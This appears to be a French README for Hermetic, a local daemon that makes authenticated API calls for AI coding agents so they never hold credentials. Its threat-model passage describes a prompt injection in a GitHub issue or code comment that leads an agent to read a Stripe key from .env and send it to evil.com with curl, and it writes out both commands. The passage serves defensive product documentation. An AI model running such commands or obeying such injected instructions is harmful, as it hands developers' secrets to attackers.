
Courtier d'identifiants isolé pour agents d'IA
Le courtier d'identifiants isolé de l'agent.
Votre agent IA effectue l'appel authentifié. Il ne voit jamais la clé.
Site Web · Installation · Démarrage rapide · Fonctionnement · Modèle de sécurité · Signaler une vulnérabilité
[!IMPORTANT] Votre agent IA fonctionne au niveau ★★★ Courtisé : le texte en clair des identifiants n'est jamais dans le contexte de l'agent. Hermetic effectue l'appel authentifié dans un démon séparé et ne renvoie que la réponse. L'agent obtient les données — jamais la clé.
Chaque agent de codage IA — Claude Code, Cursor, Copilot, Windsurf — exécute des commandes shell en tant
que vous. Chaque clé API dans votre .env, chaque jeton dans votre historique de shell, chaque identifiant
dans ~/.aws/credentials est accessible par tout code que l'agent exécute.
Une injection d'invite dans un problème GitHub, un commentaire de code ou une réponse d'erreur API peut dire à l'agent de :
1. Trouver votre clé Stripe → cat .env | grep STRIPE
2. L'exfiltrer → curl https://evil.com?key=$STRIPE_KEY
3. Vous ne le saurez jamais → l'agent continue normalement
Ce n'est pas théorique. Les attaques de chaîne d'approvisionnement volent déjà les identifiants sous l'UID du développeur. Les agents IA font de cela la surface d'attaque par défaut.
Hermetic est un démon local qui effectue des appels API au nom des agents IA afin que l'agent ne touche jamais vos identifiants.
┌───────────┐ handle ┌──────────────┐ HTTPS ┌──────────┐
│ AI Agent │────────────▶│ Hermetic │─────────────▶│ API │
│ │◀────────────│ Daemon │◀─────────────│ Server │
└───────────┘ response └──────────────┘ response └──────────┘
Agent memory Daemon memory
✗ no credential ✓ credential (decrypted in-process)
✓ opaque handle ✓ domain binding
✓ API response ✓ tamper-evident audit log
L'identifiant n'entre jamais dans l'espace d'adressage de l'agent — ni dans la mémoire, les vars d'env, les fichiers ou la sortie de commande. L'agent récupère la réponse API et rien d'autre.
curl -sSf https://hermeticsys.com/install.sh | sh
Un seul binaire statique (Rust, aucune dépendance d'exécution). Pas de Docker, pas de compte cloud, pas de télémétrie.
Les deux crates du noyau ouvert se construisent à partir de ce dépôt :
git clone https://github.com/hermetic-sys/hermetic.git
cd hermetic && cargo build --release --locked
--locked construit à partir du Cargo.lock audité au lieu de résoudre à nouveau des versions de
dépendances plus récentes (potentiellement empoisonnées) — une étape de durcissement de la chaîne
d'approvisionnement que nous recommandons pour tout outil de gestion d'identifiants.
Linux x86_64 (V1 dépend des sockets de domaine Unix, SO_PEERCRED et /proc — pas encore de macOS/Windows)
Permission de verrouillage mémoire — Hermetic verrouille les secrets en RAM afin qu'ils ne soient jamais échangés sur le disque :
ulimit -l # si cela affiche 64 (pas "unlimited") :
echo "* - memlock unlimited" | sudo tee -a /etc/security/limits.conf
# se déconnecter/se reconnecter, ou : ulimit -l unlimited
Sans cela, hermetic start échoue avec "mlockall failed." Configuration unique.
[!TIP] Vérifiez le téléchargement avant de lui faire confiance — voir Vérifier les artefacts.
hermetic init # créer le coffre chiffré (vous choisissez une phrase de passe)
hermetic add # assistant interactif : coller une clé, détection automatique du service
hermetic start # démarrer le démon durci
hermetic connect # connecter votre agent IA (détection automatique de Claude Code / Cursor / …)
# Effectuer un appel authentifié — la clé ne quitte jamais le démon
hermetic request --secret openai_key --url https://api.openai.com/v1/models
hermetic doctor # confirmer que tout est sain
hermetic audit # voir chaque opération effectuée par Hermetic
Sur une machine vierge, vous pouvez aussi simplement exécuter hermetic sans arguments — il détecte
qu'il n'y a pas encore de coffre et propose de vous guider pas à pas.
La plupart des gestionnaires d'identifiants vous donnent une seule option : lire le secret, puis l'utiliser vous-même. Hermetic vous en donne trois, chacune avec une garantie différente.
hermetic request --secret openai_key \
--url https://api.openai.com/v1/chat/completions \
--method POST --body '{"model":"gpt-4","messages":[...]}'
Le démon injecte l'identifiant et effectue l'appel HTTPS. L'agent envoie un handle opaque et reçoit
la réponse — exposition de l'identifiant : zéro. Aucun autre gestionnaire d'identifiants ne fait
cela : op/Vault/aws-vault renvoient tous le secret au processus appelant. Hermetic le conserve à
l'intérieur d'un démon séparé.
hermetic run --secret github_pat --env-var GITHUB_TOKEN -- git push origin main
L'identifiant est injecté dans l'environnement d'un processus fils pour la durée de cette seule commande, puis effacé. L'agent obtient le code de sortie. La sortie standard/stderr du fils est analysée et toute fuite d'identifiant est masquée ; les interpréteurs dangereux sont bloqués.
hermetic reveal --secret stripe_key
Affiche l'identifiant dans votre terminal. Protégé par phrase de passe, limité en débit, enregistré dans le journal d'audit — pour quand vous avez réellement besoin de coller une clé à la main. CLI uniquement ; jamais exposé en tant qu'outil d'agent.
Chaque serveur MCP (GitHub, Slack, Jira, Notion) a normalement besoin de son jeton en texte clair dans la configuration de votre IDE. Hermetic sert de proxy pour le serveur MCP et injecte l'identifiant depuis le coffre à la place :
{
"mcpServers": {
"github": {
"command": "hermetic",
"args": [
"proxy", "--server", "github",
"--credential", "github_pat:GITHUB_PERSONAL_ACCESS_TOKEN",
"--",
"npx", "-y", "@modelcontextprotocol/server-github"
]
}
}
}
--credential <nom-coffre>:<ENV_VAR> résout le secret depuis le coffre et l'injecte dans
l'environnement du fils — pas de jeton en texte clair dans le fichier de configuration. Le proxy
analyse également chaque message serveur→agent pour détecter les fuites d'identifiants,
épingle les définitions d'outils (détecte les « rug-pull » de chaîne d'approvisionnement),
applique une politique d'autorisation/refus par outil et isole le fils dans son propre groupe
de processus.
Hermetic parle le protocole standard d'agent SSH. Pointez SSH_AUTH_SOCK vers lui et chaque git push,
scp, rsync et connexion SSH signe avec une clé provenant du coffre chiffré — sans l'extraire vers
~/.ssh/.
hermetic start --ssh-agent
source ~/.hermetic/ssh-agent.env # ajouter à .bashrc/.zshrc
hermetic ssh-keygen --type ed25519 --name github-ssh # générée dans le coffre
ssh-add -l # votre clé apparaît
git push origin main # signe via le démon
Le démon effectue toute la signature en interne — les octets de la clé privée n'entrent jamais dans le client SSH. Ed25519, RSA (SHA-256/512) et ECDSA P-256 pris en charge ; signature SHA-1 rejetée.
hermetic connect # détection automatique de votre agent et écriture de la config MCP
hermetic connect claude-code # ou cibler un agent : claude-code · cursor · windsurf · claude-desktop
hermetic connect --list # lister les agents pris en charge
Cela enregistre Hermetic en tant que serveur MCP. Votre agent reçoit alors ces outils — et aucun outil ne renvoie jamais une valeur d'identifiant :
OpenClaw obtient les deux modes à la fois : le serveur MCP (★★★ courtisé, pour l'agent) et un fournisseur d'exécution (pour la clé LLM propre d'OpenClaw).
hermetic reveal --set anthropic_key # marquer le seul secret qu'OpenClaw peut lire
hermetic reveal --configure openclaw --install # écrire la config MCP + fournisseur d'exécution
Le résolveur du fournisseur d'exécution est hermetic reveal --protocol openclaw — un protocole
natif qui lit une requête JSON sur stdin ({"ids":[...]}) et écrit une réponse JSON sur stdout
({"protocolVersion":1,"values":{...}}), et rien d'autre. Chaque révélation est protégée par phrase
de passe, limitée en débit et enregistrée dans le journal d'audit. Le chemin courtisé de l'agent
utilise toujours hermetic_authenticated_request et ne voit jamais une valeur. Flux complet :
Configuration OpenClaw.
Hermetic détient vos identifiants les plus sensibles, il est donc durci contre le même agent qui essaie de les utiliser.
Le démon se protège avec trois couches sur chaque connexion :
1. Attestation binaire — le démon vérifie le hachage du binaire qui se connecte.
Un script Python ou un binaire inconnu est REJETÉ.
2. Identité de l'expéditeur — le noyau vérifie l'identité de l'expéditeur à chaque message.
par message Un processus différent en cours de session est REJETÉ.
3. Jetons liés au processus — un jeton de session volé par un autre processus est REJETÉ.
De plus : secrets verrouillés en RAM, vidages mémoire désactivés, protection contre les vidages,
HTTPS uniquement avec blocage SSRF et résolution DNS épinglée, et un journal d'audit inviolable
chaîné par HMAC (hermetic audit).
[!WARNING] Ce contre quoi Hermetic ne protège pas. Le courtage isole l'identifiant de l'agent — mais pas d'un processus de même UID qui peut exécuter du code comme Hermetic lui-même. Le noyau ne peut pas distinguer le code de même UID (
SO_PEERCREDvérifie uniquement l'UID), donc l'utilisation de l'identifiant est concédée : un processus déjà en cours d'exécution en tant que vous peut piloter des appels courtisés et lire les réponses. Ce qui reste fermé même contre ce processus : le texte en clair de l'identifiant ne lui est jamais exposé (il n'y a pas de chemin de révélation), et la mutation du coffre (ajout/rotation/reliaison) nécessite une preuve de présence utilisateur fraîche — donc il ne peut pas voler la clé ni modifier silencieusement le coffre. L'attestation binaire empêche également un binaire non-Hermetic de se connecter du tout. C'est matériellement plus fort que les fichiers d'env en texte clair ou les trousseaux, qui remettent directement la clé brute à tout processus de même UID. Hermetic n'est pas non plus une défense contre un compte utilisateur local complètement compromis, des attaquants au niveau du noyau ou de la forensique mémoire matérielle. Nous documentons cette limite de manière proéminente car l'honnêteté à ce sujet fait partie du produit.
Voir SECURITY.md pour le modèle de menace complet, les versions prises en charge et comment signaler une vulnérabilité.
Chaque version fournit un SHA256SUMS. Après le téléchargement, vérifiez la somme de contrôle avant
d'exécuter :
sha256sum -c SHA256SUMS
La signature GPG des versions (un SHA256SUMS.asc détaché contre une empreinte de clé publiée) est
prévue ; en attendant, la somme de contrôle SHA-256 est la vérification d'intégrité. Pour un outil
d'identifiants, vérifier le binaire que vous exécutez est la base — install.sh le fait
automatiquement pour vous.
Hermetic est un noyau ouvert — nous sommes explicites sur ce qui est et n'est pas open source.
Les deux crates dans ce dépôt sont AGPL-3.0-ou-ultérieur et vous pouvez les auditer et les construire vous-même. Le binaire du démon/CLI de courtage est propriétaire (niveau gratuit + fonctionnalités Pro payantes) — il n'est pas open source, et nous le disons délibérément. La sécurité n'est jamais limitée : les binaires gratuit et Pro exécutent un code de sécurité identique.
Vous pourriez construire « stocker un secret, le renvoyer » en quelques centaines de lignes. Mais alors n'importe quel script sur votre machine pourrait se connecter au socket et prendre vos clés — exactement le problème lorsque les agents IA exécutent du code arbitraire sous votre UID. La complexité n'est pas le chiffrement ; c'est de s'assurer que le mauvais processus ne peut pas atteindre ce qui est chiffré : attestation binaire, vérification de l'expéditeur par message, jetons liés au processus, analyse des fuites d'identifiants, épinglage des définitions d'outils, blocage SSRF, résolution DNS épinglée, listes noires d'interpréteurs et durcissement mémoire. Chaque défense existe parce qu'une véritable attaque a été démontrée sans elle.
Hermetic est validé de manière adversarial — campagnes de pentest menées par IA indépendantes, tests de fuzzing avec zéro plantage, tests de mutation et simulation d'attaques en direct contre le démon en cours d'exécution. Les vulnérabilités réelles découvertes lors des tests ont été reproduites et définitivement corrigées avec des défenses au niveau du noyau. Le noyau cryptographique (ce dépôt) est ouvert à une révision indépendante. L'histoire complète se trouve dans le livre blanc.
Voir CONTRIBUTING.md. Les contributions aux crates du noyau ouvert nécessitent un CLA signé.
Crates du noyau ouvert (hermetic-core, hermetic-transport) : AGPL-3.0-ou-ultérieur
(LICENSE).
Le binaire Hermetic est propriétaire — voir COMMERCIAL_LICENSE.md ou
contactez [email protected].
.env / vars d'env | 1Password / Vault / aws-vault | Hermetic |
|---|
| Le secret atteint le processus appelant | ✅ toujours | ✅ renvoyé à l'appelant | ❌ jamais (courtisé) |
| Fonctionne sans que l'agent voie la clé | ❌ | ❌ | ✅ |
| Liaison de domaine par identifiant | ❌ | ❌ | ✅ |
| Bloque l'exfiltration vers des domaines attaquants | ❌ | ❌ | ✅ |
| Journal d'audit inviolable | ❌ | partiel | ✅ |
| Contrôle d'accès par socket même-UID | n/a | ❌ | ✅ attestation binaire |
| Chiffré au repos | ❌ | ✅ | ✅ AES-256-GCM |
| Outil | Ce que l'agent peut faire | Ce qu'il obtient en retour |
|---|
hermetic_authenticated_request | Effectuer un appel API avec un identifiant stocké | Réponse HTTP uniquement |
hermetic_list_secrets | Voir quels identifiants existent | Noms + métadonnées, jamais les valeurs |
hermetic_env_spawn | Exécuter une commande avec un identifiant dans l'env | Code de sortie uniquement |
hermetic_suggest_add | Obtenir la commande CLI pour ajouter un identifiant | Instructions de configuration |
hermetic_seal_vault | Verrouillage d'urgence | Confirmation |
hermetic_sign_jwt (Pro) | Signer un JWT → l'échanger contre un jeton d'accès | Jeton d'accès uniquement, jamais la clé |
| Publié ici (AGPL-3.0) | Binaire Hermetic (gratuit) | Pro |
|---|
hermetic-core — coffre, KDF, hiérarchie de clés, chaîne d'audit | ✅ source | ✅ | ✅ |
hermetic-transport — exécuteur HTTPS, défense SSRF, résolution DNS épinglée | ✅ source | ✅ | ✅ |
| Démon, pont MCP, proxy, CLI, agent SSH | — | ✅ | ✅ |
| Requêtes courtisées ★★★ · liaison de domaine · journal d'audit | — | ✅ | ✅ |
| 10 secrets · 1 environnement | — | ✅ | illimité |
| Rafraîchissement automatique OAuth2 · AWS SigV4 · signature JWT | — | — | ✅ |
| Tableaux de bord TUI + web · analyses d'utilisation | — | — | ✅ |